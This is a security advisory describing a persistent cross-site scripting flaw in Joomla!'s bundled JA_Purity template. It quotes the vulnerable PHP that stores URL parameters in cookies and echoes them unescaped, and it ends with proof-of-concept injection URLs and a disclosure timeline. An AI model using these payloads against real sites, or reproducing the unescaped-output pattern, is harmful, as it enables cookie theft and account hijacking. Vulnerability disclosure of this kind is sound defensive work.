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Hack In Paris

JA_Purity template is bundled in Joomla! and fails to sanitize user supplied input. An attacker can inject JavaScript or DHTML that will be saved in the cookie making persistent, running in the context of targeted user browser, allowing him to steal cookies.

Credit:
The information has been provided by Juan Galiana Lara.

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Vulnerable Systems:
* Joomla! version 1.5.10 and earlier with JA_Purity template 1.2.0

Immune Systems:
* Joomla! version 1.5.11 and later

An attacker can exploit the vulnerability to store a persistent XSS. This may lead in theft of the targeted user's cookies and gain access to the user account.

In file 'template/ja_purity/ja_templatetools.php', the getUserSetting() reads $_GET array and makes the data persistent setting it in a cookie:

4 define ('JA_TOOL_FONT', 'ja_font');
...
27 function getUserSetting(){
28 $exp = time() + 60*60*24*355;
29 if (isset($_COOKIE[$this->template.'_tpl']) && $_COOKIE[$this->template.'_tpl'] == $this->template){
30 foreach($this->_params_cookie as $k=>$v) {
31 $kc = $this->template."_".$k;
32 if (isset($_GET[$k])){
33 $v = $_GET[$k];
34 setcookie ($kc, $v, $exp, '/');
35 }else{
36 if (isset($_COOKIE[$kc])){
37 $v = $_COOKIE[$kc];
38 }
39 }
40 $this->setParam($k, $v);
41 }
42
43 }else{
44 setcookie ($this->template.'_tpl', $this->template, $exp,
'/');
45 }
46 return $this;
47 }
48
49 function getParam ($param, $default='') {
50 if (isset($this->_params_cookie[$param])) {
51 return $this->_params_cookie[$param];
52 }
53 return $this->_tpl->params->get($param, $default);
54 }
55
56 function setParam ($param, $value) {
57 $this->_params_cookie[$param] = $value;
58 }

File 'template/ja_purity/index.php' reads data with getParam and write it directly:

57 <?php if ($tmpTools->getParam('theme_header') && $tmpTools->getParam('theme_header')!='-1') : ?>
58 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/header/<?php echo $tmpTools->getParam('theme_header'); ?>/style.css" type="text/css" />
59 <?php endif; ?>
60 <?php if ($tmpTools->getParam('theme_background') && $tmpTools->getParam('theme_background')!='-1') : ?>
61 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/background/<?php echo $tmpTools->getParam('theme_background'); ?>/style.css" type="text/css" />
62 <?php endif; ?>
63 <?php if ($tmpTools->getParam('theme_elements') &&
$tmpTools->getParam('theme_elements')!='-1') : ?>
64 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/elements/<?php echo $tmpTools->getParam('theme_elements'); ?>/style.css" type="text/css" />
65 <?php endif; ?>

99: <body id="bd" class="fs<?php echo
$tmpTools->getParam(JA_TOOL_FONT);?> <?php echo $tmpTools->browser();?>" >

118 if ($tmpTools->getParam('logoType')=='image'): ?>
119 <h1 class="logo">
120 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $siteName; ?></span></a>
121 </h1>
122 <?php else:
123 $logoText = (trim($tmpTools->getParam('logoText'))=='') ? $config->sitename : $tmpTools->getParam('logoText');
124 $sloganText = (trim($tmpTools->getParam('sloganText'))=='') ? JText::_('SITE SLOGAN') : $tmpTools->getParam('sloganText'); ?>
125 <h1 class="logo-text">
126 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $logoText; ?></span></a>
127 </h1>
128 <p class="site-slogan"><?php echo $sloganText;?></p>
129 <?php endif; ?>

These are all the variables of JA_Purity template, most of them are
vulnerable:

logoType
logoText
sloganText
ja_font
ja_screen
ja_screen_width
theme_header
theme_background
theme_elements
horNav
horNavType
rightCollapsible
rightCollapseDefault
excludeModules
showComponent

Proof Of Concept
http://site/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://site/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://site/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E

Disclosure Timeline:
April 5, 2009: Discovered by Internet Security Auditors.
April 6, 2009: Vendor contacted. They will study the advisory.
May-June, 2009: No responses to queries about patching schedule.
June 3, 2009: Security Release 1.5.11 published.

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